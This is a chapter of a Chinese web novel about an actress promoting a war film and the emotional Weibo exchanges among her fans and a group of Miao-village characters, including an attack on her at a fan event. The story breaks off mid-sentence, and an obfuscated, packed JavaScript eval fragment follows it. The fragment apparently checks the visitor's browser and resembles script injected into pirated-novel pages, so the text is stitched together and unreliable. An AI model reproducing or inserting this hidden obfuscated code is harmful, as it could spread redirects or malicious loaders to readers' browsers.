深夜零点整，陈杬祝的个人微博悄然更新，没有任何配图预告，只有一行简短到让人心碎的文案，却瞬间击穿了全网粉丝的防线：
我好痛。
配图只有一张，是娜卡塔榙的背影。
镜头拉得很远，天地间是漫无边际的硝烟与白雪，铅灰色的天空压得人喘不过气。陈杬祝饰演的娜卡塔榙，穿着那件洗得发白的亚麻长裙，裙摆被炮火的气浪掀得微微扬起，发间的雪绒花早已不知去向，松松挽着的发髻散落了几缕发丝，在寒风中凌乱地飞舞。
她的肩上还挎着那架旧手风琴，背带深深勒进单薄的肩膀，琴身的金属部件在灰暗的光线下泛着冷硬的光泽。她正站在撤离的路上，微微佝偻着脊背，一手护着身后躲着的孩子，一手紧紧攥着琴键，指尖的青白透过屏幕都能被感知。
没有正脸，没有表情，甚至没有清晰的五官轮廓，可那道单薄却倔强的背影，却藏着无尽的痛苦——是对战争的绝望，是对孩子的心疼，是对自己命运的无力，更是明知前路是死局，却依旧要护着光前行的撕裂感。
照片的角落，隐约能看到一片染血的雪，那抹红在黑白灰的主色调里，刺眼得让人落泪。
微博发出的瞬间，服务器瞬间被引爆，#陈杬祝 我好痛# #娜卡塔榙 背影杀# #娜塔莎的童年意难平# 三个话题以断层之势冲上热搜榜首，后面的“爆”字红得触目惊心。评论区里，粉丝们的眼泪几乎要冲破屏幕：
【啊啊啊！这道背影我直接哭死！娜卡塔榙的痛，是杬祝姐姐的痛，也是我们的痛啊！】
【没有正脸却比正脸更戳心！单薄的肩膀扛着手风琴，扛着孩子们的希望，也扛着所有的苦难！】
【“我好痛”——这四个字不是陈杬祝，是娜卡塔榙，是那个在战火里坚守温柔的灵魂在呐喊啊！】
【亚麻裙、手风琴、散落的雪绒花！每一个细节都在刀我！姐姐的共情能力也太强了吧！】
【已经开始意难平了！娜卡塔榙最后到底怎么样了？我不敢想，却又忍不住去想！】
远在各自生活里的四位粉丝，几乎是同时被这条微博击中：
纪采薇正穿着白大褂在医院值夜班，看到微博的瞬间，手里的病历本差点滑落。她立刻评论，文字里带着医学生的共情与心疼：【白大褂懂亚麻裙的痛，守护的路上，从来都满是荆棘。娜卡塔榙，你的痛，我们都懂。】
秦淑坐在画室里，对着屏幕里的背影，瞬间红了眼眶。她拿起画笔，在画纸上飞速勾勒，一边画一边转发微博：【这道背影，我要画成永恒。雪绒花会开，琴声会响，光永远不会熄灭。】
余霓霓第一时间将这条微博转发到粉丝后援会官博，配文里带着难以抑制的激动与心疼：【是娜卡塔榙的痛，也是陈杬祝的共情。最好的演员，最动人的角色，我们永远是你最坚实的后盾！】
李诺言正抱着那件专属卫衣，看到微博的瞬间，眼泪滴在了卫衣的“诺”字刺绣上。她评论道：【杬祝姐姐（娜卡塔榙），你不要痛！我们会永远陪着你！你的光，我们会替你守护！】
苗寨的梨花园里，夜色正浓。
沈怨趴在许祭的肩头，看着手机里的背影照片，小脸上满是不解与心疼：“许祭哥哥，娜卡塔榙姐姐为什么这么痛啊？她的雪绒花掉了，手风琴也快拿不住了……”
许祭的眼底翻涌着复杂的情绪，他轻轻揉了揉沈怨的头发，声音低沉而温柔：“因为她在守护比自己生命更重要的东西。痛，是她的勋章，也是她的温柔。”
梨春梦端着温热的糯米茶走来，看到照片的瞬间，脚步顿了顿。她拿起手机，在陈杬祝的微博下评论，文字里带着苗寨儿女特有的坚定：【苗寨的艾草能驱寒，月莲能疗伤。你的痛，我们替你扛。】
绫司司站在回廊尽头，手里拿着一支刚做好的竹笛。她没有评论，也没有转发，只是默默将竹笛放在唇边，吹起了一段温柔的旋律。那旋律，像极了宣传短片里娜卡塔榙弹的那首塞尔维亚民谣，在苗寨的夜色里，轻轻流淌。
陈杬祝发这条微博时，刚结束一天的拍摄。
她还穿着娜卡塔榙的亚麻长裙，身上带着片场的硝烟味与雪的寒气。她没有卸妆，发丝依旧凌乱，指尖还残留着弹手风琴的酸涩。
坐在保姆车里，她看着窗外飞速倒退的夜景，脑海里全是娜卡塔榙的一生——那个在战火里长大，却用一生去守护光的女孩。她的痛，是角色的痛，也是她作为演员，最深刻的共情。
她没有加任何滤镜，没有修图，只是随手拍下了片场里那道背影，敲下了那三个字。
这不是演员的营业，而是灵魂与灵魂的共振。
微博发出后的十分钟，陈杬祝工作室的官微悄悄在评论区置顶了一条消息：【今日拍摄顺利，杬祝姐已收工休息。这条微博，是她以娜卡塔榙的身份，与大家的一次灵魂对话。电影《娜塔莎的童年》，敬请期待。】
粉丝们看到这条消息，瞬间破防。原来，那三个字，真的是娜卡塔榙的心声。
深夜的风，带着片场的寒意，也带着苗寨的月莲清香，吹进了保姆车。
陈杬祝轻轻关上手机，靠在座椅上，闭上了眼睛。
梦里，她又变成了娜卡塔榙。
这一次，她的发间别着雪绒花，肩上挎着手风琴，身后跟着一群笑着的孩子。
阳光洒在她的亚麻长裙上，温暖而耀眼。
她再也不痛了。
秦淑熬了三个通宵，指尖的颜料晕染了画纸边缘，终于完成了一组三宫格水彩插画。她没有配冗长的文案，只在微博里轻轻@陈杬祝，附上一句“雪绒花不会谢，琴声不会停”。第一幅画里，是巴尔干小城难得的和平午后，娜卡塔榙穿着干净的亚麻裙，坐在院子里的老槐树下弹手风琴，发间的雪绒花娇艳欲滴，娜塔莎趴在她的腿边，手里捏着一朵刚摘的雏菊，阳光透过树叶的缝隙洒在琴键上，光斑像极了断魂崖底的萤石。第二幅画定格在地下室的瞬间，昏黄的煤油灯映着娜卡塔榙的侧脸，她的嘴唇紧抿，一滴泪悬在眼角，手风琴的背带深深勒进肩膀，而身后的孩子们，已经在琴声里渐渐睡去，脸上的泪痕还未干透。第三幅画是秦淑私藏的温柔想象，没有硝烟，没有炮火，娜卡塔榙穿着崭新的亚麻裙，发间别着新鲜的雪绒花，手风琴放在一旁，她正牵着娜塔莎的手，走在开满野花的小路上，远方的太阳正缓缓升起，将两人的影子拉得很长很长。画作发出的瞬间，立刻被粉丝们疯狂转发，有人说“这是我见过最温柔的刀”，有人说“秦淑的画笔，懂娜卡塔榙的痛，也懂陈杬祝的共情”。
纪采薇值完夜班，脱下白大褂的瞬间，指尖还带着医院消毒水的凉意。她坐在科室的休息区，打开电脑，敲下了一篇长长的科普文，开头便@了陈杬祝。她以娜卡塔榙的经历为引，科普了战争中儿童的心理创伤应急处理，还有长期营养不良的改善方法，字里行间满是医学生的严谨与温柔。她在文中写道：“娜卡塔榙用手风琴为孩子们筑起心理的堡垒，而我们，能用医学知识为更多孩子撑起一片天。”她还特意附上了自己在山区义诊时的照片，照片里的她穿着白大褂，蹲在地上给孩子们检查身体，笑容和陈杬祝饰演的娜卡塔榙一样温柔。文末，她留下了自己的联系方式，承诺为有需要的粉丝提供免费的心理疏导建议。这条微博被后援会官博转发后，瞬间引发了连锁反应，不少医学生粉丝纷纷响应，自发组建了“雪绒花医疗应援团”，承诺将用自己的专业知识，践行娜卡塔榙的守护精神。
余霓霓第一时间将秦淑的插画和纪采薇的科普文整合，发布在粉丝后援会官博上。她还连夜联系了工作室，拿到了陈杬祝拍摄时的花絮片段——镜头里的陈杬祝，为了还原娜卡塔榙的单薄，刻意控制饮食，脸颊都清瘦了一圈；为了弹好手风琴，她的指尖被琴键磨出了血泡，却只是简单包扎后便继续练习；她和小演员互动时，会温柔地帮对方理好凌乱的头发，会耐心地听对方讲悄悄话，眼神里的温柔，和戏里的娜卡塔榙如出一辙。余霓霓给这条微博配文：“她在戏里守护光，我们在戏外守护她。”她还发起了一个“雪绒花之约”的公益活动，号召粉丝们捐赠书籍和文具，送给山区的孩子，每一份捐赠，都将以“娜卡塔榙”和捐赠者的名义送出。活动发起仅一小时，捐赠链接便被刷爆，粉丝们的留言里，满是“以吾之爱，护你所演之温柔”的赤诚。
李诺言穿着那件专属的浅杏色卫衣，坐在书桌前，手里拿着针线，一针一线地绣着什么。她的指尖有些笨拙，好几次被针扎到，却只是咬着牙，用纸巾擦去指尖的血迹，继续绣下去。最终，她绣出了一朵雪绒花，旁边还绣着一朵小小的月莲，雪绒花的下方，是“娜卡塔榙”四个字，月莲的下方，是“陈杬祝”三个字。她将绣好的手帕小心翼翼地装进信封，寄往陈杬祝的工作室。她还在微博里发了一张手帕的照片，@陈杬祝说：“杬祝姐姐，这是我绣的雪绒花和月莲，雪绒花代表娜卡塔榙，月莲代表你。我会永远记得，你演过一束照亮苦难的光，也会永远记得，你就是我的光。”她的评论很快被顶到了热评第一，粉丝们纷纷留言，说“李诺言的针线，绣出了我们所有人的心声”。
《娜塔莎的童年》首场线下剧宣活动定在市中心的影城大厅，现场被精心布置成雪绒花与暖光交织的模样，粉丝们举着印着娜卡塔榙背影的灯牌，手里的应援棒汇成一片温柔的星海。
陈杬祝穿着一身简约的米白色长裙，裙摆绣着一朵小巧的雪绒花，与戏里娜卡塔榙的亚麻裙遥相呼应。她刚结束与主持人的互动，正微笑着走向粉丝区，准备签名合影。阳光透过影城的玻璃穹顶洒在她身上，整个人温柔得像一幅会动的画。
就在这时，人群中突然窜出一个穿着黑色连帽衫的人，速度快得让现场安保都来不及反应。那人直奔陈杬祝而来，嘴里还嘶吼着不堪入耳的话语：“陈杬祝！你根本不配演娜卡塔榙！你就是个只会卖人设的花瓶！”
话音未落，那人的手已经狠狠抓住了陈杬祝的裙角，用力往后一扯。“刺啦”一声刺耳的布料撕裂声，在喧闹的大厅里格外清晰。陈杬祝的米白色长裙瞬间被撕开一道长长的口子，露出了里面的白色内搭，她也因为惯性，身体猛地向后踉跄了两步，险些摔倒。
现场瞬间陷入一片混乱。粉丝们的惊呼声、怒骂声交织在一起，前排的李诺言、秦淑、余霓霓和纪采薇更是瞬间红了眼，李诺言甚至想冲上去推开那个黑粉，却被身边的安保拦住。
那黑粉似乎还不满足，抓着裙角的手没有松开，反而更加用力，嘴里的污言秽语越来越难听：“你演的娜卡塔榙就是个笑话！你根本不懂什么叫苦难！你只会靠着粉丝的钱过日子！”
陈杬祝的脸色瞬间白了几分，但她没有尖叫，也没有慌乱。她强忍着裙摆撕裂带来的尴尬与不适，抬起眼，目光冷冷地看向那个黑粉，声音不大，却带着不容置疑的坚定：“放手。”
她的眼神里没有恐惧，只有一片冰湖般的冷冽，还有一丝不易察觉的失望。那黑粉被她的目光震慑住，抓着裙角的手微微一顿，却依旧不肯松开。
就在这时，安保人员终于冲了上来，迅速将那黑粉控制住，强行掰开了她的手。黑粉被拖走时，还在疯狂挣扎，嘴里的叫骂声不绝于耳。
现场的粉丝们立刻围了上来，七嘴八舌地关心着陈杬祝的情况。“杬祝姐姐！你没事吧？”“裙子破了！要不要紧？”“那个黑粉太可恶了！”
陈杬祝轻轻摇了摇头，先是对着安保人员说了声“谢谢”，然后才转过身，对着粉丝们露出了一个勉强却温柔的笑容：“我没事，大家别担心。”
她的声音带着一丝不易察觉的颤抖，显然刚才的拉扯让她受了不小的惊吓。楒微微立刻拿着备用的外套跑了过来，迅速披在陈杬祝身上，将撕裂的裙摆遮住。她的眼眶通红，声音里带着自责与愤怒：“杬祝，对不起，是我没保护好你。”
“不怪你。”陈杬祝拍了拍楒微微的手，示意她放心。她深吸一口气，调整了一下状态，然后拿起话筒，对着现场的粉丝和媒体说道：“今天发生的事情，我很抱歉影响了大家的心情。但我想说，娜卡塔榙的温柔与坚定，是我一直想要传递的力量。我不会因为任何恶意，就放弃这份坚持。”
她的话音刚落，现场立刻响起了雷鸣般的掌声。粉丝们举着灯牌，齐声喊着：“陈杬祝！我们相信你！”“娜卡塔榙！我们永远爱你！”
李诺言看着台上强装镇定的陈杬祝，眼泪忍不住掉了下来。她立刻拿出手机，在微博上发布了现场的情况，配文：“黑粉的恶意永远无法打败温柔的力量！杬祝姐姐没有错！娜卡塔榙没有错！我们永远站在你这边！”
秦淑、余霓霓和纪采薇也纷纷转发，秦淑配文：“画笔可以画出雪绒花的坚韧，却画不出黑粉的丑陋。杬祝姐姐，我们永远是你的后盾！”纪采薇则写道：“白大褂与雪绒花，都是守护的象征。杬祝姐姐，照顾好自己。”
剧宣活动继续进行，陈杬祝依旧保持着专业的态度，完成了后续的签名和合影。只是没人注意到，她握着话筒的手，指节已经泛白，裙摆被撕裂的地方，还在隐隐作痛。
活动结束后，陈杬祝坐在保姆车里，终于卸下了所有的伪装。她靠在座椅上，闭上眼睛，眼角的泪终于忍不住滑落。楒微微坐在一旁，心疼地递上纸巾，却不知道该说些什么。
就在这时，陈杬祝的手机震动了一下，是李诺言发来的微信：“杬祝姐姐，你没事吧？我们都很担心你。”后面还跟着秦淑、余霓霓和纪采薇的关心消息。
陈杬祝看着手机屏幕上的消息，眼底的冰冷渐渐被暖意取代。她轻轻擦去眼泪，回复道：“我没事，谢谢你们。有你们在，我什么都不怕。”
她知道，黑粉的恶意或许永远不会消失，但只要身边有这些坚定的守护，有这些温柔的粉丝，她就能一直走下去。
深夜的风，带着影城的喧嚣与粉丝的温暖，吹进了保姆车。陈杬祝轻轻打开手机，看着自己饰演的娜卡塔榙的剧照，指尖轻轻摩挲着屏幕。
她想起了娜卡塔榙的那句台词：“带着光，活下去。”
是啊，她要带着粉丝们的光，带着娜卡塔榙的光，勇敢地活下去。
剧组转场的间隙，片场临时搭起的简易舞台被暖黄的灯光包裹，陈杬祝刚卸完娜卡塔榙的戏妆，发丝还带着造型的微卷，身上却换了件印着雪绒花与手风琴图案的宽松卫衣，下装是同色系的运动裤，少了戏里的清冷破碎，多了几分难得的鲜活灵动。
导演组特意准备了一段宣传舞，节奏轻快却藏着与剧情呼应的细节——抬手时的动作像极了娜卡塔榙弹手风琴的姿态，转身时的裙摆晃动复刻了亚麻裙在战火中翻飞的模样，甚至有一个俯身的动作，暗合了她护着孩子躲进地下室的温柔。
陈杬祝跟着舞蹈老师练了不过半小时，却已经将每个动作都消化得自然流畅。音乐响起的瞬间，她踩着节拍抬手、转身、跳跃，卫衣的衣角随动作轻轻扬起，发间的碎发扫过脸颊，眼底盛着笑意，却在某个定格动作里，刻意流露出一丝娜卡塔榙式的温柔与怅然。
片场的工作人员纷纷围过来看，小演员们更是趴在舞台边缘，跟着节奏拍手，连一向严肃的导演都忍不住拿出手机拍摄。舞蹈的最后一个动作，陈杬祝比出了宣传短片里的经典比耶手势，只是指尖微微弯曲，像极了雪绒花的花瓣，惹得现场一阵欢呼。
当晚八点，陈杬祝的个人微博准时更新，配文简单却带着满满的“预警”感，瞬间勾住了所有粉丝的好奇心：大家注意刀子来了
配图是一段15秒的短视频，开头是她在舞台上跳宣传舞的鲜活模样，节奏轻快，笑容明媚。可当音乐进行到一半，画面突然无缝切换——舞台的暖光变成了片场的冷调，卫衣换成了娜卡塔榙的亚麻长裙，轻快的舞蹈动作变成了她护着孩子奔跑的背影，背景音也从欢快的旋律，换成了宣传短片里那首温柔却催泪的塞尔维亚民谣。
视频的最后一秒，画面定格在娜卡塔榙躺在雪地里的经典背影，与陈杬祝跳舞时的比耶手势形成鲜明的对比，温柔与虐心的碰撞，瞬间戳中了所有人的泪点。
微博发出的瞬间，评论区直接被粉丝的尖叫与“预警”刷屏，#陈杬祝 宣传舞刀子预警# #娜卡塔榙 温柔刀# #娜塔莎的童年意难平# 三个话题光速冲上热搜：
【啊啊啊！前半段甜到齁，后半段刀到哭！姐姐你好会！】
【跳舞的杬祝姐姐好灵动！可是一切到娜卡塔榙的画面，我瞬间泪目！】
【“大家注意刀子来了”！诚不欺我！这刀又快又准，直接扎进我心里！】
【舞蹈里的细节太绝了！弹手风琴的动作，护着孩子的姿态，姐姐真的有用心在诠释角色！】
【甜舞配虐剧，这谁顶得住啊！已经开始一边期待电影一边害怕被刀了！】
李诺言、秦淑、余霓霓和纪采薇几乎是同时赶到评论区，四人的留言瞬间被顶到热评前排：
李诺言：【前半段跟着姐姐一起跳，后半段直接哭成泪人！刀子来了！我已经准备好纸巾了！】
秦淑：【舞蹈里的雪绒花手势太绝了！我已经开始画宣传舞与娜卡塔榙的联动图了！这刀我先干为敬！】
余霓霓：【已转发后援会官博！甜舞预警！刀子预警！所有粉丝速来集合！准备好迎接娜卡塔榙的温柔刀！】
纪采薇：【前半段的鲜活与后半段的破碎，姐姐的表演太有张力了！这刀，是温柔的刀，也是最痛的刀！】
苗寨的梨花园里，沈怨正趴在许祭的肩头，跟着视频里的陈杬祝一起比划动作，小脸上满是兴奋：“许祭哥哥！杬祝姐姐跳舞好好看！可是后面的娜卡塔榙姐姐，为什么又在雪地里啊？”
许祭揉了揉他的头发，声音低沉而温柔：“因为这是娜卡塔榙的故事，有甜，也有痛。但杬祝姐姐的舞蹈，是在告诉我们，光永远不会消失。”
梨春梦端着温热的糯米茶走来，看完视频后，轻轻在陈杬祝的微博下评论：【苗寨的月莲，懂雪绒花的甜与痛。刀子来了，我们陪你一起扛。】
绫司司依旧是简单的转发，附言只有两个字：【甜刀。】却精准概括了这段视频的精髓，瞬间被粉丝们疯狂点赞。
陈杬祝发这条微博时，刚结束一天的拍摄，正坐在片场的休息区，手里捧着一杯温热的姜茶。她看着手机屏幕里的视频，想起跳舞时的轻松，也想起饰演娜卡塔榙时的心痛，嘴角忍不住勾起一抹无奈却温柔的笑意。
这是她第一次在微博上用这样的方式“预警”剧情，既是为了宣传电影，也是想提前给粉丝们打一剂“预防针”——娜卡塔榙的故事，注定是一场温柔的虐心之旅。
深夜的风，带着片场的凉意，也带着粉丝们的热情，吹进了休息区。陈杬祝轻轻关上手机，抬头看向远处的星空，眼底的光芒温柔而坚定。
她知道，这把“刀”，会让观众记住娜卡塔榙，记住那个在苦难中坚守温柔的灵魂。而她，也会带着这份记忆，继续在演员的道路上，勇敢前行。
深夜十一点，陈杬祝的个人微博悄然更新，没有多余的配图，只有一行带着刻骨共情的文字，精准@阿怨后，瞬间戳中了所有人的柔软心底：
@阿怨娜卡塔榙的痛没有你痛。
这条微博没有任何图片或视频，却比任何虐心的剧照都更让人心碎。发布的瞬间，服务器便迎来了一波流量高峰，#陈杬祝 娜卡塔榙的痛没有你痛# #阿怨苗寨守护# #双向心疼 天花板# 三个话题以断层之势冲上热搜，评论区里的粉丝们瞬间破防，眼泪几乎要冲破屏幕：
【啊啊啊！这句话直接把我刀傻了！娜卡塔榙的痛已经够虐了，可在姐姐心里，阿怨的痛更甚！】
【谁懂啊！娜卡塔榙是战火里护孩子的白月光，阿怨是风雨里守苗寨的小勇士！两个人的痛，都被姐姐记在心里！】
【这是陈杬祝与阿怨的灵魂对话啊！不是演员与角色，是真正的心疼与被心疼！】
【姐姐一定是想起了阿怨拼了命守护苗寨的模样，才会说出这样的话！我的阿怨，我的娜卡塔榙，我的杬祝姐姐，你们都要好好的！】
李诺言、秦淑、余霓霓和纪采薇四位粉丝，几乎是第一时间赶来评论，字里行间满是心疼与共情：
李诺言：【杬祝姐姐这句话，让我想起了阿怨守着苗寨的日日夜夜，也想起了娜卡塔榙在战火里的坚守。你们的痛，我们都懂！】
秦淑：【瞬间红了眼眶！我要把这句话画进画里，阿怨的萤石与娜卡塔榙的雪绒花，都是带着痛的光！】
余霓霓：【已转发后援会官博！双向的心疼，最是动人！阿怨，杬祝姐姐永远是你的光！】
纪采薇：【作为医学生，我懂身体的痛，也懂心理的痛。阿怨的痛，是护家园的伤；娜卡塔榙的痛，是护孩子的殇。姐姐的心疼，是最温柔的良药！】
苗寨的梨花园里，夜色正浓。
阿怨正趴在许祭的肩头，手里攥着一串刚串好的萤石手链，手腕上还缠着未拆的纱布——那是前几日为了阻拦外人闯入苗寨、保护老蛊婆时，被树枝划开的伤口。手机屏幕亮起的瞬间，他的目光落在陈杬祝的微博上，小小的身子瞬间僵住。他的眼眶瞬间红了，大颗大颗的眼泪砸在许祭的衣服上，晕开一小片湿痕。
“许祭哥哥……”阿怨的声音带着浓浓的哭腔，却又带着一丝不易察觉的温暖，“杬祝姐姐说，娜卡塔榙的痛没有我痛……”
许祭的眼底翻涌着复杂的情绪，他轻轻将阿怨抱进怀里，一手小心翼翼地避开他手腕的纱布，一手摩挲着他的头发，声音低沉而温柔：“嗯，杬祝姐姐一直都记得你为苗寨受的伤，也一直都在心疼你。”
梨春梦端着温热的糯米茶走来，看到微博的瞬间，脚步顿了顿。她的目光扫过阿怨手腕的纱布，眼底闪过一丝心疼，随即拿起手机，在陈杬祝的微博下评论，文字里带着苗寨儿女特有的坚定：【阿怨的痛，是护苗寨的勋章，有苗寨的艾草暖，有许祭的守护暖，还有你的心疼暖。以后，我们一起守。】
绫司司站在回廊尽头，手里拿着一支刚做好的竹笛。她没有评论，也没有转发，只是默默将竹笛放在唇边，吹起了一段温柔的旋律。那旋律，像极了陈杬祝跳宣传舞时的背景音乐，又像极了娜卡塔榙弹的那首塞尔维亚民谣，在苗寨的夜色里，轻轻流淌。
陈杬祝发这条微博时，刚结束一场娜卡塔榙牺牲的重场戏。
她还穿着那件洗得发白的亚麻长裙，身上带着片场的硝烟味与雪的寒气，指尖还残留着弹手风琴的酸涩。坐在保姆车里，她看着窗外飞速倒退的夜景，脑海里全是娜卡塔榙倒在雪地里、手风琴滚落在一旁的模样，可不知为何，眼前突然闪过阿怨的身影——那个小小的孩子，明明自己也需要被保护，却总是在苗寨遇到危险时，第一个冲在前面。
她想起阿怨为了守护萤石溪流不被外人污染，在冰冷的溪水里站了整整一夜，回来后发了高烧；想起他为了保护吊脚楼里的老人孩子，拿着木棍和闯入者对峙，脸上被划开了血痕；想起他每次受了伤，都只是咬着牙说“我没事”，转头却在许祭的怀里偷偷掉眼泪。
那一刻，陈杬祝的心脏像是被一只无形的手紧紧攥住，疼得她几乎喘不过气。
她突然觉得，娜卡塔榙的痛，是为了守护一群陌生的孩子而承受的，是带着大义的光；而阿怨的痛，是为了守护自己的家园、自己的亲人而留下的伤，是带着执念的暖。
娜卡塔榙的痛，是暂时的，最终以生命的落幕换来了孩子们的新生；而阿怨的痛，是刻在骨血里的，那些伤痕，是他守护苗寨的勋章，却也是陈杬祝心上永远的牵挂。
她没有丝毫犹豫，点开微博，敲下了那行字，@了那个她放在心尖上疼的孩子。
这不是演员的营业，也不是角色的共情，这是陈杬祝对阿怨，最直白、最刻骨的心疼。
微博发出后的二十分钟，阿怨用自己的小号，在评论区留下了一条简短的回复，瞬间被顶到了热评第一：
【杬祝姐姐，我不痛啦，苗寨好好的。】
后面还跟着一个萤石的表情包。
陈杬祝看到这条回复时，眼底的泪水终于忍不住滑落。她轻轻回复了一个月莲的表情，没有多余的话，却道尽了所有的温柔与牵挂。
深夜的风，带着片场的凉意，也带着苗寨的月莲清香，吹进了保姆车。
陈杬祝轻轻关上手机，靠在座椅上，闭上了眼睛。
梦里，她看到阿怨穿着苗寨的白色短褂，手腕上的纱布已经拆掉，手里举着一串萤石手链，在梨花园里蹦蹦跳跳。不远处，娜卡塔榙穿着崭新的亚麻裙，手风琴放在一旁，正温柔地看着阿怨笑。苗寨的吊脚楼错落有致，萤石溪流泛着蓝光，月莲在岸边静静绽放。
阳光洒在他们身上，温暖而耀眼。
没有痛，只有光，只有守护的暖。
凌晨两点，许祭的微博悄然更新，账号头像还是那片泛着蓝光的萤石溪流，却在深夜里投下一道带着刻骨执念的影子。他精准@陈杬祝，文字像一把淬了寒的刀，字字句句都带着无人能懂的沉郁与痛：
@杬祝 你说是阿怨痛，还是司南痛，祭祀的痛，不会因为失忆而消失。
这条微博没有配图，没有多余的情绪铺垫，却比陈杬祝那条心疼阿怨的微博更让人心头发紧。发布瞬间，本就因前一条热搜未凉的服务器再次震荡，#许祭祭祀的痛不会消失# #阿怨司南谁的痛更深# #许祭杬祝 灵魂对话# 三个话题以碾压之势冲上热搜榜首，红色的“爆”字在深夜里格外刺眼。
评论区里，粉丝们的共情瞬间转向了这个永远沉默守护的男人，那些关于过往的碎片猜测被无限放大：
【天呐！这句话直接把我钉在虐心的柱子上！阿怨的痛是守护的伤，司南的痛是被遗忘的过往，而许祭的痛，是看着一切却无法言说的沉郁啊！】
【“祭祀的痛”！这个称呼里藏了多少秘密？失忆的到底是谁？是司南，还是许祭自己？】
【谁懂许祭的痛啊！他看着阿怨拼了命守护苗寨，看着杬祝沉浸在娜卡塔榙的悲伤里，可他自己的痛，却连说出口都要带着小心翼翼的克制！】
【阿怨是现在的光，司南是过去的影，而许祭，是抱着光与影独自舔舐伤口的人！祭祀的痛，真的不会消失啊！】
李诺言、秦淑、余霓霓和纪采薇四位粉丝，看到这条微博时瞬间红了眼眶，评论里满是对许祭的心疼：
李诺言：【许祭哥哥的话，让我突然觉得，原来最痛的人，可能一直是默默守护的你。阿怨的痛我们看得见，杬祝姐姐的痛我们感同身受，可你的痛，却藏在了最深的地方。】
秦淑：【瞬间泪崩！我要把这句话画进画里——萤石溪流旁，阿怨的笑，司南的影，许祭的背影，还有杬祝姐姐的月莲。痛不会消失，可我们都懂。】
余霓霓：【已转发后援会官博！原来最虐的从来都不是单个人的痛，而是每个人都在自己的世界里，承受着无法言说的伤。许祭，我们也在看着你。】
纪采薇：【作为医学生，我知道身体的伤会愈合，可心里的痛，哪怕失忆，也会在潜意识里留下痕迹。“祭祀的痛不会因为失忆而消失”，这句话，是刻在灵魂里的执念啊！】
苗寨的梨花园里，夜色浓得像化不开的墨。
阿怨已经在许祭的怀里睡熟，小小的身子蜷缩着，手腕上的纱布在月光下泛着白。许祭低头看着怀中人恬静的睡颜，指尖轻轻拂过他额角的碎发，眼底的温柔与痛苦交织在一起，凝成一片化不开的雾。
他发这条微博时，刚哄睡阿怨，手机屏幕的光映在他脸上，没有半分温度。他想起陈杬祝那条@阿怨的微博，想起她字里行间对那个小小守护者的心疼，可他也想起了那个叫沈司南的名字——那是阿怨不愿记起的过往，也是他许祭心头永远的刺。
他想起司南曾经的模样，想起那些连月光都不敢照亮的日子，想起阿怨如今拼了命守护苗寨的执着，更想起自己那些被时光掩埋、连失忆都无法抹去的痛。
祭祀的痛，是看着挚爱之人忘记过往却无能为力的痛，是抱着破碎的记忆独自坚守的痛，是明明身处光明，却永远走不出心底黑暗的痛。
陈杬祝看到这条微博时，正靠在保姆车的座椅上，身上还带着娜卡塔榙的亚麻裙残留的寒气。手机屏幕的光映在她脸上，泪水瞬间模糊了视线。
她想起许祭永远沉默的守护，想起他每次看阿怨时眼底的温柔，想起他偶尔独处时眼底的落寞。她突然明白，自己心疼阿怨的守护之痛，却忽略了许祭那份更深沉、更无人能懂的祭祀之痛。
娜卡塔榙的痛，阿怨的痛，司南的痛，许祭的痛，还有她自己的痛，都在这个深夜里，交织成一张密不透风的网。
她没有立刻回复，只是将手机紧紧攥在手里，指节泛白。
而苗寨的回廊尽头，绫司司站在月光下，手里的竹笛悬在唇边，却没有发出任何声音。她看着许祭的微博，眼底闪过一丝复杂的情绪，最终只是默默转发，附言只有两个字：执念。
微博发出后的一个小时，陈杬祝终于在评论区留下了一条回复，瞬间被顶到热评第一：
【我懂。所有的痛，都不会消失。】
没有多余的话，却道尽了所有的共情与心疼。
许祭看到这条回复时，抬头望向苗寨的月亮，月光洒在他的脸上，映出他眼底一闪而逝的湿润。他没有再回复，只是轻轻收紧了抱着阿怨的手臂，仿佛要将所有的痛，都藏进这温柔的守护里。
深夜的风，带着片场的凉意，带着苗寨的月莲清香，也带着所有人的痛，吹过梨花园，吹过保姆车，吹过每一个被执念与温柔包裹的灵魂。
痛不会消失，可守护与心疼，也永远不会停止。
事情的发酵毫无预兆，不过是某个不知名的娱乐八卦号，在凌晨三点突然甩出一张单人旧照，配文带着刻意的煽动性：「惊！陈杬祝心尖上的阿怨，竟与多年前苗寨祭祀旧照中的少年高度相似！是巧合，还是另有隐情？」
那张照片带着时光的陈旧感，边缘泛黄，却被修复得足够清晰。画面里的少年不过十二三岁的年纪，穿着苗寨最古老的玄色祭服，衣摆绣着缠枝莲与萤石图腾，头上戴着缀满银饰的祭冠，小脸绷得紧紧的，没有半分孩童的稚气。他站在苗寨祖祠的香案前，手里握着一支用百年老竹制成的祭笛，身后是袅袅的香火，眼底是与年龄不符的肃穆与坚定，那是独属于苗寨祭祀的、与生俱来的威仪。
照片里少年的眉眼轮廓，与如今苗寨里那个会抱着萤石手链蹦蹦跳跳、会在许祭怀里撒娇、会对着陈杬祝露出软糯笑容的阿怨，竟有着惊人的重合度。只是前者清冷疏离，浑身透着「神明使者」的庄严，后者软糯鲜活，眼里盛满了苗寨的月光与溪流的温柔。
这条微博像一颗炸雷，瞬间在全网炸开。#阿怨苗寨祭祀旧照# #阿怨眉眼重合度# #陈杬祝 阿怨身份# 三个话题以光速冲上热搜，服务器在深夜里再次陷入瘫痪。
评论区里，网友们的讨论炸开了锅，有震惊，有疑惑，也有别有用心的揣测：
【我的天！这眉眼真的太像了！尤其是眼尾的那颗小痣，简直一模一样！】
【苗寨祭祀？不是说祭祀的传承早就断了吗？这少年是谁？阿怨和他到底是什么关系？】
【陈杬祝会不会早就知道这件事？不然怎么会对阿怨这么上心？这里面的故事也太抓马了！】
【有没有一种可能，阿怨是这位祭祀的后人？或者……这根本就是阿怨小时候的照片？】
八卦号的评论区很快被黑粉占领，他们拿着这张唯一的旧照大做文章，试图将脏水泼向陈杬祝和阿怨：
【陈杬祝这是在蹭苗寨祭祀的热度吧？真是好手段！】
【阿怨怕不是故意装成这副软糯样子博同情吧？说不定骨子里就是个清冷的祭祀！】
【一张照片就能脑补出一部大戏，只能说陈杬祝团队的营销实在厉害！】
李诺言是第一个看到这条微博的粉丝，她几乎是瞬间就红了眼，不是因为震
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 